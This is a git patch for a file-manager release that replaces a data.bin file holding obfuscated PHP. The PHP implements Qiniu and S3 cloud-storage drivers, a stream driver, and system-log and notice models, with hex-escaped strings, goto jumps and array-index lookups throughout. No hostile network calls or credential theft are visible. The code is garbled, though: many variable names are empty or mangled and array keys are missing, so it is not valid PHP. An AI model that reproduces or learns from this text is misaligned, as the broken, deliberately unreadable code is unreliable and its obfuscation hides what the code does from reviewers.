From f5d3f2c4411c2ff503e44889b2dc65c23c9c716b Mon Sep 17 00:00:00 2001
From: warlee <824691958@qq.com>
Date: Thu, 9 Nov 2023 21:44:57 +0800
Subject: [PATCH] 1.46.03 release
---
app/sdks/archiveLib/bin/data.bin | 2 +-
static/app/dist/api.js | 4 ++--
static/app/dist/lib.js | 4 ++--
static/app/dist/main.js | 4 ++--
static/app/dist/sdk.js | 2 +-
static/app/dist/vendor.js | 4 ++--
static/style/dist/main.css | 4 ++--
static/style/dist/sdk.css | 2 +-
static/style/lib/main.css | 2 +-
9 files changed, 14 insertions(+), 14 deletions(-)
diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin
index 8842f3a8..a5771883 100755
--- a/app/sdks/archiveLib/bin/data.bin
+++ b/app/sdks/archiveLib/bin/data.bin
@@ -1,2 +1,2 @@
_init($לdz); } public function _init($悫) { $lj =& $_SERVER[]; $this->config = $悫; foreach ($悫 as $ => $٫) { if (isset($this->{$})) { $this->{$} = $٫; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($lj[1440] . LNG($lj[1398])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($ݛ, $ֳ = '', $˥ = REPEAT_RENAME) { if ($this->setContent($ݛ, $ֳ)) { return $this->getPathOuter($ݛ); } return !1; } public function mkdir($ב, $ = REPEAT_SKIP) { $ѹϿ =& $_SERVER[]; $ = trim($ב, $ѹϿ[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ב = $ . $ѹϿ[8]; $ = get_path_this($); $ܡŇ = $ב . $; if (!$this->mkfile($ܡŇ)) { return !1; } if (!$this->moveFile($ܡŇ, $ב)) { $this->delFile($ܡŇ); return !1; } return $this->getPathOuter($); } public function copyFile($, $綄) { $¹ = $this->bucketManager->copy($this->bucket, $, $this->bucket, $綄, !0); return $¹ ? !1 : $this->getPathOuter($綄); } public function moveFile($, $Κ) { $ = $this->bucketManager->move($this->bucket, $, $this->bucket, $Κ, !0); return $ ? !1 : $this->getPathOuter($Κ); } public function delFile($؏) { if (!$this->exist($؏)) { return !0; } $Ъ = $this->bucketManager->delete($this->bucket, $؏); return $Ъ ? !1 : !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[198] && !in_array($, $[$[82]])) { $[$[82]][] = $; } $ڍ = $this->delByBatch($[$[83]]); if (!$ڍ) { return !1; } $ڍ = $this->delByBatch($[$[82]]); if (!$ڍ) { return !1; } return $this->delFile($); } private function delByBatch($ۯ) { foreach (array_chunk($ۯ, 1000) as $ƙ) { $䣫 = $this->bucketManager->buildBatchDelete($this->bucket, $ƙ); list($ҏ, $Ѽ) = $this->bucketManager->batch($䣫); if ($Ѽ) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($, $͛ = false, $ = array()) { $ް =& $_SERVER[]; $З = array($ް[32] => $this->pathThis($), $ް[84] => $this->getPathOuter($ް[8] . $), $ް[33] => $ް[200], $ް[76] => isset($[$ް[1441]]) ? $[$ް[1441]] : 0, $ް[174] => $this->ext($)); if ($͛) { return $З; } $З[$ް[201]] = $З[$ް[85]] = 0; $З[$ް[202]] = $З[$ް[203]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $З; } } if (isset($[$ް[1442]])) { $З[$ް[85]] = substr($[$ް[1442]] . $ް[12], 0, 10); } if (isset($[$ް[1441]])) { $З[$ް[76]] = $[$ް[1441]]; } return $З; } public function folderInfo($ߔ, $ = false) { $Ȩ =& $_SERVER[]; $ܹ = array($Ȩ[32] => $this->pathThis($ߔ), $Ȩ[84] => $this->getPathOuter($Ȩ[8] . $ߔ), $Ȩ[33] => $Ȩ[75]); if ($) { return $ܹ; } $ܹ[$Ȩ[201]] = $ܹ[$Ȩ[85]] = 0; $ܹ[$Ȩ[202]] = $ܹ[$Ȩ[203]] = !0; $ߔ = rtrim($ߔ, $Ȩ[8]) . $Ȩ[8]; $鳿 = $this->objectMeta($ߔ); if (isset($鳿[$Ȩ[1442]])) { $ܹ[$Ȩ[85]] = substr($鳿[$Ȩ[1442]] . $Ȩ[12], 0, 10); } return $ܹ; } public function listPath($ȷ, $̨͒ = false) { $ =& $_SERVER[]; $ = $this->fileList($ȷ, $[8], !0); foreach ($[$[82]] as $š => $ݙ) { $[$[82]][$š] = $this->folderInfo($ݙ, $̨͒); } foreach ($[$[83]] as $š => $ݙ) { $[$[83]][$š] = $this->fileInfo($ݙ[$[94]], $̨͒, $ݙ); } return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ؐ = empty($) && $ !== $[198] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ = $[8]; $ʚ = $ = 0; while (!0) { check_abort(); list($, $õ) = $this->bucketManager->listFiles($this->bucket, $ؐ, $, $, $); if ($õ) { break; } $ = array_key_exists($[1410], $) ? $ = $[$[1443]] : $[12]; if ($) { if (!empty($[$[1444]])) { $ʚ += count($[$[1444]]); } if (!empty($[$[1445]])) { $ += count($[$[1445]]); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($[$[1444]])) { return !0; } } else { if (!empty($[$[1445]])) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[207] => $ʚ, $[208] => $); } return !1; } public function listAll($ٕ̓) { $ =& $_SERVER[]; $̖ʌ = $this->fileList($ٕ̓, $[12], !0); $ǒ = array_to_keyvalue($̖ʌ[$[83]], $[32]); foreach ($̖ʌ[$[82]] as $ҭ) { if (is_string($ҭ)) { $ǒ[$ҭ] = array($[76] => 0); } } return $this->listAllFiles($ٕ̓, $ǒ); } private function fileList($ˡ, $ů = '', $ = 0) { $ⱚ͛ =& $_SERVER[]; $ˡ = trim($ˡ, $ⱚ͛[8]); $ƅ = empty($ˡ) && $ˡ !== $ⱚ͛[198] ? $ⱚ͛[12] : $ˡ . $ⱚ͛[8]; $Ҡ = $ⱚ͛[12]; $ѳ = 1000; $ݢ = $ = array(); while (!0) { check_abort(); list($ϧ, $) = $this->bucketManager->listFiles($this->bucket, $ƅ, $Ҡ, $ѳ, $ů); if ($) { break; } $Ҡ = array_key_exists($ⱚ͛[1410], $ϧ) ? $Ҡ = $ϧ[$ⱚ͛[1443]] : $ⱚ͛[12]; $ = isset($ϧ[$ⱚ͛[1444]]) ? $ϧ[$ⱚ͛[1444]] : array(); $ = isset($ϧ[$ⱚ͛[1445]]) ? $ϧ[$ⱚ͛[1445]] : array(); foreach ($ as $ܩŕ) { if ($ܩŕ[$ⱚ͛[94]] == $ƅ) { continue; } $ = $ܩŕ[$ⱚ͛[94]]; $ݗ = $ܩŕ[$ⱚ͛[1441]]; $ܩŕ[$ⱚ͛[76]] = $ݗ; $Ңݳ = $ݗ == 0 && substr($, strlen($) - 1, 1) == $ⱚ͛[8] ? !0 : !1; $this->cacheMethodInfoSet($, $Ңݳ, $ܩŕ); if ($Ңݳ) { $ݢ[] = $; continue; } $[] = $ ? $ܩŕ : $; } foreach ($ as $) { if ($ == $ƅ) { continue; } $ݢ[] = $; $this->cacheMethodInfoSet($, !0); } if ($Ҡ === $ⱚ͛[12]) { break; } } $this->cacheMethodInfoSet($ˡ, !0); return array($ⱚ͛[82] => $ݢ, $ⱚ͛[83] => $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($շ) { return $this->exist($շ) ? !0 : !1; } public function getContent($և) { return $this->fileSubstr($և, 0, -1); } public function setContent($ؕ, $̳ = '') { $ = $this->tempFile($this->pathThis($ؕ)); file_put_contents($, $̳); if ($this->upload($ؕ, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($) { $걶ޒ =& $_SERVER[]; $ = array(); if (is_array($)) { foreach ($ as $) { $[] = $this->link($); } } else { $[] = $this->link($); } $ॿ = new Qiniu\Cdn\CdnManager($this->auth); list($ʬ, $ȗ) = $ॿ->refreshUrls($); if ($ȗ) { return !1; } return $ʬ[$걶ޒ[1184]] == $걶ޒ[758] ? !0 : !1; } public function fileSubstr($, $٘, $œ) { $ڮ =& $_SERVER[]; if (!($ѽ = $this->link($))) { return !1; } $Ϭ = !1; if ($œ > 0) { $䵼 = $٘ + $œ - 1; $Ϭ = array($ڮ[1446] . $٘ . $ڮ[386] . $䵼); } $Έޯ = url_request($ѽ, $ڮ[230], !1, $Ϭ); return $Έޯ[$ڮ[748]] ? $Έޯ[$ڮ[1204]] : !1; } public function upload($, $, $ = false, $˲ב = REPEAT_REPLACE) { $ۧѹ = new Qiniu\Storage\UploadManager(); $ԏ = $this->auth->uploadToken($this->bucket, $); $ˬ = get_file_mime(get_path_ext($)); list($֜, $؞ñ) = $ۧѹ->putFile($ԏ, $, $, null, $ˬ); return $؞ñ ? !1 : $this->getPathOuter($); } public function uploadFormData($܆, $ = 3600) { return $this->uploadToken($܆, $); } public function multiUploadFormData($˳, $ = 3600) { return $this->uploadToken($˳, $); } private function uploadToken($Ն, $圅 = 3600) { $ =& $_SERVER[]; $ = $圅; $ = array($[1447] => $[1448]); $ǃ책 = $Ն; $ߜ = $this->auth->uploadToken($this->bucket, $ǃ책, $, $, !0); $ꛌ = empty($this->region) || $this->region == $[1449] ? $[12] : $[386] . $this->region; $ܧ = http_type() . "\72\x2f\57\x75\x70\154\x6f\x61\144{$ꛌ}\x2e\x71\x69\x6e\x69\165\x70\56\x63\157\155\x2f"; return array($[1450] => $ߜ, $[1451] => $ܧ); } public function download($, $՛) { $ = IO::getPathInner(IO::mkfile($՛)); if (!($Ӌ = $this->link($))) { return !1; } $ʶ = 0; $擁Ы = 1024 * 200; $凩 = fopen($, $_SERVER[][1452]); while (!0) { $ŷ = $this->fileSubstr($, $ʶ, $擁Ы); if ($ŷ === !1) { return !1; } fwrite($凩, $ŷ); $ʶ += $擁Ы; if (strlen($ŷ) < $擁Ы) { break; } } fclose($凩); return $՛; } public function link($ݩ, $͊ = '') { if (!$this->isFile($ݩ)) { return !1; } $Ó = $this->getHost() . $_SERVER[][8] . $this->pathEncode($ݩ) . $͊; return $this->auth->privateDownloadUrl($Ó, 3600 * 12); } public function fileOut($Ĵ, $ܒ = false, $ = false, $곻ԙ = '') { $ʑ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($Ĵ, $ܒ, $, $곻ԙ); } if (!$) { $ = $this->pathThis($Ĵ); } $ѐ = $ܒ ? $ʑ[1453] . rawurlencode($) : $ʑ[12]; $ = $this->link($Ĵ, $ѐ); $this->fileOutLink($); } public function fileOutServer($¼, $ = false, $ӳ = false, $钗 = '') { parent::fileOut($¼, $, $ӳ, $钗); } public function fileOutImage($荟, $܆ = 250) { $뿃 = $this->link($荟, $_SERVER[][1454] . $܆); $this->fileOutLink($뿃); } public function fileOutImageServer($, $ҁә = 250) { parent::fileOutImage($, $ҁә); } public function hashMd5($ٿф) { $ =& $_SERVER[]; $ѯ = $this->objectMeta($ٿф); return isset($ѯ[$[212]]) ? $ѯ[$[212]] : !1; $½ = $this->link($ٿф, $[1455]); } public function size($) { $ۮ = $this->objectMeta($); return $ۮ ? $ۮ[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ິ) { return !$this->isFolder($ິ) && $this->objectMeta($ິ); } public function isFolder($٩) { return $this->cacheMethod($_SERVER[][165], $٩); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][167], $); } protected function _objectMeta($ŕ) { $ =& $_SERVER[]; list($돵Ֆ, $ơ) = $this->bucketManager->stat($this->bucket, $ŕ); if ($돵Ֆ) { $돵Ֆ[$[76]] = intval($돵Ֆ[$[1441]]); } return $돵Ֆ; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } list($, $Ǫ) = $this->bucketManager->listFiles($this->bucket, trim($, $[8]) . $[8], $[12], 1, $[8]); return !empty($[$[1444]]) || !empty($[$[1445]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($, $ҰNJ = 3600) { $佴 =& $_SERVER[]; $ӿ = $佴[199]; $ = $佴[1360]; $ǿ = $佴[62]; $ = gmdate($佴[1361]); $̅ = gmdate($佴[749]); $ɰ = $佴[1362]; $î = $ҰNJ . $佴[12]; $ = $佴[1324]; $ = array($this->accessKey, $̅, $this->region, $ǿ, $ɰ); $ = implode($佴[8], $); $ܿ = array($佴[1326] => gmdate($佴[1325], strtotime($佴[1363])), $佴[1327] => array(array($佴[1329] => $this->bucket), array($佴[1328] => $ӿ), array($佴[1330], $佴[1331], $佴[12]), array($佴[1330], $佴[1364], $佴[12]), array($佴[1330], $佴[1365], $佴[12]), array($佴[1332] => $), array($佴[1366] => $), array($佴[1367] => $), array($佴[1368] => $), array($佴[1369] => $î))); $ھ = base64_encode(json_encode($ܿ)); $ޯ = hash_hmac($佴[1370], $̅, $佴[1371] . $this->secret, !0); $ȩ = hash_hmac($佴[1370], $this->region, $ޯ, !0); $빯 = hash_hmac($佴[1370], $ǿ, $ȩ, !0); $ = hash_hmac($佴[1370], $ɰ, $빯, !0); $Ǖ = hash_hmac($佴[1370], $ھ, $); $ÿ = array($佴[215] => $佴[12], $佴[1372] => $佴[12], $佴[1328] => $ӿ, $佴[1332] => $, $佴[1336] => $ھ, $佴[1373] => $, $佴[1374] => $, $佴[1375] => $, $佴[1376] => $î, $佴[1377] => $Ǖ, $佴[182] => $this->getHost()); return $ÿ; } public function multiUploadFormData($, $Ŏ = 3600) { $ߔ =& $_SERVER[]; $Ø = gmdate($ߔ[1456]); $ = array(); $ = $this->client->getUploadId($this->bucket, $, $); if (!$) { return !1; } return array($ߔ[223] => $, $ߔ[182] => $this->getHost() . $ߔ[8] . $this->pathEncode($), $ߔ[224] => $Ø, $ߔ[94] => $); } public function multiUploadAuthData($, $ۚҗ = array()) { $ =& $_SERVER[]; $ï = isset($ۚҗ[$[174]]) ? $ۚҗ[$[174]] : $[12]; $ = $ۚҗ[$[94]]; unset($ۚҗ[$[94]]); if (isset($ۚҗ[$[225]])) { return $this->listUploadParts($, $ۚҗ); } $ = array(); if (isset($ۚҗ[$[1457]])) { $[$[1458]] = $ۚҗ[$[1457]]; } $ = explode($[184], $this->getHost()); $ = array($[1459] => $[1], $[1460] => $[12], $[215] => $[120], $[1372] => $ۚҗ[$[76]]); $ϡ = $[228]; $ = $[8] . $this->pathEncode($) . $ï; $ = $this->client->__getSignatureV4($, $, $ϡ, $); if (strpos($ï, $[227]) === 0) { if (isset($[$[1458]])) { $ = $[$[1458]]; } else { if (isset($[$[1458]])) { $ = $[$[1458]]; } else { $ = hash($[1370], $[12]); } } return array($[234] => $[$[234]], $[1458] => $, $[224] => $[$[1461]]); } return $[$[234]]; } public function listUploadParts($Ξ, $ʧ = array()) { $ゼ =& $_SERVER[]; $Ըʎ = str_replace($ゼ[235], $ゼ[12], $ʧ[$ゼ[174]]); $ͼ = $this->client->listParts($this->bucket, $Ξ, $Ըʎ); if (!$ͼ) { return !1; } $ڇߓ = $ゼ[1462]; foreach ($ͼ as $) { $ڇߓ .= $ゼ[1463] . "\x3c\120\141\x72\164\116\x75\155\142\145\x72\x3e{$[$ゼ[1417]]}\74\57\120\x61\162\164\x4e\x75\x6d\x62\x65\162\x3e\xa" . "\x3c\105\x54\x61\147\76{$[$ゼ[1418]]}\74\57\105\x54\141\147\76\12" . $ゼ[1464]; } $ڇߓ .= $ゼ[1465]; $Ѽ = array(); $ = explode($ゼ[184], $this->getHost()); $ = array($ゼ[1459] => $[1], $ゼ[215] => $ゼ[120], $ゼ[1372] => strlen($ڇߓ)); $ = $ゼ[226]; $ʔ = $ゼ[8] . $this->pathEncode($Ξ) . $ʧ[$ゼ[174]]; $ = $this->client->__getSignatureV4($Ѽ, $, $, $ʔ, $ڇߓ); return array($ゼ[234] => $[$ゼ[234]], $ゼ[224] => $[$ゼ[1461]], $ゼ[236] => $ͼ, $ゼ[1458] => $[$ゼ[1458]]); } public function link($Ֆ, $Ό = array()) { return parent::link($Ֆ, $Ό); } public function fileOut($ض, $뱬 = false, $ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][1466])) { return parent::fileOutServer($ض, $뱬, $, $); } parent::fileOut($ض, $뱬, $, $); } public function fileOutImage($, $ = 250) { if (strstr($this->endpoint, $_SERVER[][1466])) { return parent::fileOutImageServer($, $); } parent::fileOutImage($, $); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1339]) { $ = $[1340] . substr($, 7); } header($[161] . $); die; } public function getHost() { $̄ =& $_SERVER[]; $ނ = str_rtrim(parent::getHost(), $̄[8] . $this->bucket); $ނ = explode($̄[184], $ނ); return $ނ[0] . $̄[184] . $this->bucket . $̄[10] . $ނ[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ɕ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $ɕ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($؆ = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($݆ = false, $Ҵڏ = 0, $⼖ = 0) { if (!$⼖) { $⼖ = $this->sourceSize; } $ư = $this->sourceSize - $Ҵڏ; if ($⼖ >= $ư) { $⼖ = $ư; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $Ҵڏ, $⼖); } if ($this->sourceType == self::TYPE_FILE) { if ($⼖ <= 0) { return $_SERVER[][12]; } $Ç = ftell($this->source); fseek_64($this->source, $Ç + $Ҵڏ); $Ԍ = @fread($this->source, $⼖); fseek_64($this->source, $Ç); return $Ԍ; } } public function hashMd5($݀ = false) { return md5($this->getContent()); } public static function hash($, $ñ = 0) { $̺ߤՍ = new PathDriverStream($, $ñ); return $̺ߤՍ->hashSimple($); } public static function md5($, $ = 0) { $Ĉ = new PathDriverStream($, $); return $Ĉ->hashMd5($); } } goto a˃; bǔ: class SystemLogModel extends ModelBase { protected $tableName = "\163\x79\x73\x74\x65\x6d\x5f\154\x6f\147"; protected $dataAuto = array(array("\143\162\x65\x61\x74\x65\124\x69\x6d\145", "\164\x69\155\x65", "\151\x6e\163\x65\x72\164", "\146\165\156\143\x74\x69\157\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[]; return array($[2194] => LNG($[2195]), $[2196] => LNG($[2197]), $[1804] => LNG($[2198]), $[2199] => LNG($[2200]), $[2201] => LNG($[2202]), $[2203] => LNG($[2204]), $[2205] => LNG($[2206]), $[1834] => LNG($[2206]), $[1835] => LNG($[2207]), $[2208] => LNG($[2209]), $[2210] => LNG($[2211]), $[2212] => LNG($[2213]), $[2214] => LNG($[2215]), $[1832] => LNG($[2216]), $[2217] => LNG($[2218]), $[1839] => LNG($[2219]), $[2220] => LNG($[2221]), $[2222] => LNG($[2223]), $[2224] => LNG($[2225]), $[2226] => LNG($[2227]), $[1842] => LNG($[2228]), $[1843] => LNG($[2229]), $[2230] => LNG($[2231]), $[2232] => LNG($[2233]), $[2234] => LNG($[2235]), $[1837] => LNG($[2236]), $[2237] => LNG($[2238]), $[1836] => LNG($[2239]), $[2240] => LNG($[2241]), $[2242] => LNG($[2243]), $[2244] => LNG($[2245]), $[2246] => LNG($[2246]), $[2247] => LNG($[1808]), $[2248] => LNG($[2249]), $[2250] => LNG($[2251]), $[2252] => LNG($[2253]), $[2254] => LNG($[2255]), $[2256] => LNG($[2257]), $[2258] => LNG($[2258]), $[2259] => LNG($[2260]), $[2261] => LNG($[2262]), $[2263] => LNG($[2264]), $[2265] => LNG($[2266]), $[2267] => LNG($[2268]), $[2269] => LNG($[2270])); } private function typeFile() { $ =& $_SERVER[]; $蔽 = array($[1839] => array($[1840]), $[2212] => array($[2271]), $[2214] => array($[2272]), $[1832] => array($[1833]), $[2222] => array(), $[2224] => array(), $[2226] => array(), $[1842] => array($[1844]), $[1843] => array($[1844]), $[2230] => array($[2273]), $[2232] => array($[2273]), $[2234] => array($[2274]), $[2220] => array($[2275]), $[1837] => array($[2276]), $[2237] => array($[2277]), $[1836] => array($[1838])); return $蔽; } private function typeAll() { $肙 =& $_SERVER[]; $ԥ = $this->typeList; $Ҧ = array_filter($this->typeFile()); foreach ($Ҧ as $꼥ܛ => $긂) { $ԥ[$긂[0]] = $ԥ[$꼥ܛ]; } $ԥ[$肙[1844]] = LNG($肙[2278]); $ԥ[$肙[2273]] = LNG($肙[2279]); return $ԥ; } public function addLog($, $ = array()) { $Ǫ =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $Խ = USER_ID ? USER_ID : (isset($[$Ǫ[1670]]) ? $[$Ǫ[1670]] : 0); if (!$Խ) { $Խ = (int) Session::get($Ǫ[1998]); } if ($ == $Ǫ[2248] && is_array($[$Ǫ[2280]]) && !$[$Ǫ[2280]]) { return; } $٣ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024) { $ = array($Ǫ[2281] => $٣); } else { if (is_array($)) { $[$Ǫ[2281]] = $٣; } else { $ = array($Ǫ[1204] => $, $Ǫ[2281] => $٣); } } $ = array($Ǫ[1660] => Session::sign(), $Ǫ[1661] => $Խ, $Ǫ[33] => $, $Ǫ[1663] => json_encode($)); parent::add($); } public function remove($) { $this->where(array($_SERVER[][419] => $))->delete(); } private function _makeOrder($ = '') { $栄 =& $_SERVER[]; $ = $栄[201]; $껺 = array($栄[450] => $栄[451], $栄[452] => $栄[453]); $˙ = Input::get($栄[458], $栄[7], $栄[2034], array($栄[1952], $栄[452])); $˙ = $껺[$˙]; $ = $ . "{$}\40{$˙}"; return $this->order($); } public function get($Đ = '') { $ =& $_SERVER[]; if (!$Đ) { show_json(array()); } $ː = array(); if ($Đ[$[1670]]) { $ː[$[1670]] = $Đ[$[1670]]; } if (isset($Đ[$[759]])) { $ = $Đ[$[759]]; $ = isset($Đ[$[760]]) ? $Đ[$[760]] : time(); $ː[$[201]] = array($[333], array($, $)); } if ($Đ[$[33]]) { $ = explode($[50], $Đ[$[33]]); $У = $this->typeFile(); $ϙ = array(); foreach ($ as $‟) { $ϙ[] = $‟; if (isset($У[$‟])) { $ϙ = array_merge($ϙ, $У[$‟]); } } $ϙ = array_unique($ϙ); if ($ϙ) { $ː[$[33]] = array($[7], $ϙ); } } else { $ː[$[33]] = array($[2282], $[2283]); } if (!empty($Đ[$[2281]])) { $ː[$[453]] = array($[383], "\x25{$Đ[$[2281]]}\45"); } $Ͱ = $this->_makeOrder()->where($ː)->selectPage(); if (empty($Ͱ[$[369]])) { show_json(array(), !0, $Ͱ[$[366]]); } $Ͱ[$[369]] = $this->logList($Ͱ[$[369]]); return $Ͱ; } private function ipAddress(&$ށ) { $ʨ =& $_SERVER[]; if (!empty($ށ[$ʨ[2281]])) { $Ӥ = IpLocation::get($ށ[$ʨ[2281]]); } else { $Ӥ = LNG($ʨ[2284]); } $ށ[$ʨ[2285]] = $Ӥ; } private function descZipDownload($, &$Ҙ) { $ =& $_SERVER[]; if (!isset($[$[2286]])) { return; } $ǭݧ = json_decode($[$[2286]], !0); foreach ($ǭݧ as $) { try { $ = IO::infoFull($[$[84]]); } catch (Exception $Ꙧ) { continue; } $[$[84]] = $[$[84]]; $Ҙ[] = $[$[402]] = $[$[402]]; $Ҙ[] = $[$[2088]] = $[$[432]]; break; } return $; } private function getSourceList(&$) { $ =& $_SERVER[]; $ڠ = array(); foreach ($ as $ق => $ܩކ) { $ԑ = json_decode($ܩކ[$[453]], !0); if ($ܩކ[$[33]] == $[1835]) { $ԑ = $this->descZipDownload($ԑ, $ڠ); $[$ق][$[453]] = json_encode($ԑ); continue; } if (strpos($ܩކ[$[33]], $[2090]) !== 0) { if (!isset($ԑ[$[84]]) || strpos($ܩކ[$[33]], $[2287]) !== 0) { continue; } try { $۪ = IO::infoFull($ԑ[$[84]]); } catch (Exception $؎) { continue; } $ڠ[] = $ԑ[$[402]] = $۪[$[402]]; $ڠ[] = $ԑ[$[2088]] = $۪[$[432]]; $[$ق][$[453]] = json_encode($ԑ); continue; } $ڠ[] = $ԑ[$[402]]; $ڠ[] = $ԑ[$[2088]]; if ($ԑ[$[33]] == $[548]) { $ڠ[] = $ԑ[$[453]][$[1162]]; $ڠ[] = $ԑ[$[453]][$[1163]]; } if ($ԑ[$[33]] == $[2098]) { $ڠ[] = $ԑ[$[453]][$[402]]; } } if (!$ڠ) { return array(); } return Model($[824])->sourceListInfo($ڠ, !0); } private function logList($턳) { $ܘ =& $_SERVER[]; $ܨ = array_to_keyvalue($턳, $ܘ[12], $ܘ[1670]); $Û = Model($ܘ[525])->userListInfo(array_unique($ܨ)); $Ș = $this->getSourceList($턳); $߳ = $this->typeAll(); $ = array(); $ = array(); foreach ($턳 as $ => $ʆ) { $Ē = $ʆ[$ܘ[33]]; $ď = isset($Û[$ʆ[$ܘ[1670]]]) ? $Û[$ʆ[$ܘ[1670]]] : !1; $ް = strpos($Ē, $ܘ[2288]) === 0 ? LNG($ܘ[2289]) : LNG($ܘ[2284]); $ʆ[$ܘ[32]] = isset($ď[$ܘ[32]]) ? $ď[$ܘ[32]] : LNG($ܘ[2284]); $ʆ[$ܘ[532]] = isset($ď[$ܘ[532]]) ? $ď[$ܘ[532]] : $ܘ[12]; $ʆ[$ܘ[1570]] = isset($߳[$Ē]) ? $߳[$Ē] : $ް; $ʆ[$ܘ[2033]] = $ď; $蓊溑 = json_decode($ʆ[$ܘ[453]], !0); $ʆ[$ܘ[2281]] = isset($蓊溑[$ܘ[2281]]) ? $蓊溑[$ܘ[2281]] : $ܘ[12]; $ʆ[$ܘ[2285]] = IpLocation::get($ʆ[$ܘ[2281]]); if (strpos($Ē, $ܘ[2090]) === 0 || isset($蓊溑[$ܘ[2088]])) { $蓊溑[$ܘ[87]] = $Ș[$蓊溑[$ܘ[402]]]; $蓊溑[$ܘ[2103]] = $Ș[$蓊溑[$ܘ[2088]]]; if ($蓊溑[$ܘ[33]] == $ܘ[548]) { $蓊溑[$ܘ[453]][$ܘ[1162]] = $Ș[$蓊溑[$ܘ[453]][$ܘ[1162]]]; $蓊溑[$ܘ[453]][$ܘ[1163]] = $Ș[$蓊溑[$ܘ[453]][$ܘ[1163]]]; } if ($蓊溑[$ܘ[33]] == $ܘ[2098]) { $蓊溑[$ܘ[453]][$ܘ[402]] = $Ș[$蓊溑[$ܘ[453]][$ܘ[402]]]; } if ($蓊溑[$ܘ[33]] == $ܘ[1830]) { $蓊溑[$ܘ[2103]] = $蓊溑[$ܘ[87]]; $蓊溑[$ܘ[2088]] = $蓊溑[$ܘ[2103]][$ܘ[402]]; $蓊溑[$ܘ[87]] = !1; $蓊溑[$ܘ[402]] = $ܘ[12]; } if ($蓊溑[$ܘ[87]] && $蓊溑[$ܘ[87]][$ܘ[411]] == $ܘ[1286]) { $[] = $ʆ[$ܘ[399]]; unset($턳[$]); continue; } if ($蓊溑[$ܘ[2103]] && $蓊溑[$ܘ[2103]][$ܘ[411]] == $ܘ[1286]) { $[] = $ʆ[$ܘ[399]]; unset($턳[$]); continue; } } $ʆ[$ܘ[453]] = $蓊溑; unset($ʆ[$ܘ[2290]]); $[] = $ʆ; } $this->clearSystemPathLog($); return $; } private function clearSystemPathLog($) { $ =& $_SERVER[]; if (count($) == 0) { return; } $ = array($[399] => array($[7], array_unique($))); $this->where($)->delete(); } public function deviceList($Ɉ, $Ձع = 0) { $ؗ =& $_SERVER[]; $Ҡ = array($ؗ[1670] => $Ɉ, $ؗ[201] => array($ؗ[1016], $Ձع), $ؗ[33] => $ؗ[1804]); $ = array(); $幑 = $this->field($ؗ[2291])->where($Ҡ)->order($ؗ[2101])->limit(50)->select(); foreach ($幑 as $ => $謙) { if ($ > 0 && abs($謙[$ؗ[201]] - $幑[$ - 1][$ؗ[201]]) < 5) { continue; } $ʼn = json_decode($謙[$ؗ[453]], !0); $謙[$ؗ[2281]] = isset($ʼn[$ؗ[2281]]) ? $ʼn[$ؗ[2281]] : $ؗ[12]; unset($ʼn[$ؗ[2281]]); $ = $this->deviceType($ʼn[$ؗ[2091]]); if (isset($[$])) { continue; } $謙[$ؗ[2285]] = IpLocation::get($謙[$ؗ[2281]]); $謙[$ؗ[453]] = $ʼn; $[$] = $謙; } return array_values($); } public function deviceType($Ȏ) { return $Ȏ; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\145\x6d\x2e\x6e\x6f\164\x69\x63\x65\114\151\163\x74"; public $field = array("\156\x61\155\x65", "\143\157\156\x74\145\x6e\x74", "\x61\165\164\150", "\155\157\x64\145", "\x74\x69\x6d\145", "\x74\x79\x70\x65", "\x6c\145\x76\145\x6c", "\x65\156\141\142\x6c\x65", "\x73\x6f\x72\x74"); public function listData($҅ = false, $ȧ = "\x73\157\x72\164", $֝ = false) { return parent::listData($҅, $ȧ, $֝); } public function add($Ϊ) { $ =& $_SERVER[]; $ = time(); if ($Ϊ[$[16]] == $[2292]) { $ = strtotime($Ϊ[$[180]]); } $Ϊ[$[180]] = $; return parent::insert($Ϊ); } public function update($, $ϰԚ) { $ =& 